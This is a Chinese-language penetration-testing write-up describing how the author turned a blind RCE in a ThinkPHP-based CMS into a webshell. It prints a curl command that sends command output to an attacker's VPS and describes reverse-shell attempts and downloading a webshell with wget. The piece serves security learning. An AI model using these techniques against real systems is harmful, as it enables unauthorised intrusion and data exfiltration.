文章详情
【实战】无回显Rce到Getshell
前言
某次渗透测试中,信息收集过程中找到一个登陆界面。
其中在测试逻辑漏洞过程中,修改参数的时候爆出了Debug,才有了接下来的过程。
如有哪里不足,望师傅们指出。
1、Rce
通过Debug信息得知,这是一个thinphp的cms。
之前thinkphp的日志泄露漏洞屡试不爽,于是想先找日志。
通过Debug可以得知他的根目录在/www/wwwroot/devorder/public,我们只能访问Public目录下的文件,访问不到runtime目录,只能另辟蹊径。
在最下边找到了Cms的版本号,于是去网上找这个版本公开的漏洞。
经过寻找、测试,发现存在由变量覆盖导致的Rce漏洞。
具体漏洞分析可以参考 https://blog.csdn.net/xuandao_ahfengren/article/details/86333189
直接使用网上的Payload提示执行命令的函数被禁用,估计是Disable_function的作用。
其中有几个执行命令的函数发送请求后会直接返回登陆界面,未知执行状态。
于是找了一个在线的DnsLog平台,这种平台会随机给一个子域名。
如果对子域名发送Http、Icmp的包,平台就会接收到数据包,从而判断命令是否执行。
这种方式在sql注入中这种方式也有奇效。
具体使用方法可以参考这位师傅写的文章:https://www.cnblogs.com/sstfy/p/10351807.html
在这里执行了几次Ping之后还是收不到返回,猜测可能Icmp包被拦了,改为用Curl请求子域名。
成功收到请求
这种在线的只能简单的验证是否存在Rce,无法获得命令回显。
如果想获得命令回显,可以使用在线的Ceye平台来接收回显。
也可以使用自己的Vps来接收回显
在Vps开启Web服务或防火墙没有禁用Icmp的时候,发送Http或Icmp包后会在日志中留下记录,直接查看日志记录即可获得命令回显。
例如:
curl http://Vps/`command`
这里使用返单引号将要执行的命令包裹,原理是在Linux中执行命令会首先执行反单引号中的命令,并将其结果输出。
这段代码在执行完whoami后,会将返回的值拼接到http://Vps/ 后。
我这里选择开启Web服务
再看这次返回结果,日志中的访问记录是http://Vps/www ,可以得知目标系统是Linux,并且使用WWW权限开启的Web服务。
Getshell
尝试了bash反弹Shell的方式没有弹回来。
这里不知道为什么使用echo >> 的方法写不进去,最后使用Wget下载文件到指定目录。
以上两个问题,有知道的师傅方便的话通过评论或者qq(764328645)告我一声,先行谢过。
通过Debug中的绝对路径写WebShell后找不到写的Webshell,于是在Web目录下查找登陆界面,成功得到真.绝对路径。
将Webshell写在VPS中,再次使用Wget下载Webshell到真.绝对路径,成功Getshell。
上一文章:实战渗透-基于DWR框架下的漏洞探测
下一文章:通达OA任意文件删除
相关推荐
- 05-12块元素、行内元素、行内块元素的区别
- 10-20我靠seo赚到的几百万收入
- 11-04摩拜单车和QQ合作 7天免押金 送免费骑行月卡
- 10-21探索Mimikatz-第2部分-SSP
- 10-27某nc反序列化回显绕过
- 10-21记一次edu站点从敏感信息泄露到getshell
- 05-18HowDidIFindWeblogicT3RCE(CVE-2020-14756)
- 05-28.net反序列化之BinaryFormatter
- 11-16WeblogicIIOP协议NAT网络绕过
- 05-12开放封闭原则的含义(不改代码怎么写新功能)
- 10-21记一次SpringDevtools反序列化利用
- 05-10几款小众web指纹识别工具源码分析
- 05-14为什么TCP需要三次握手(分析TCP三次握手过程
- 10-21shiro权限绕过实战利用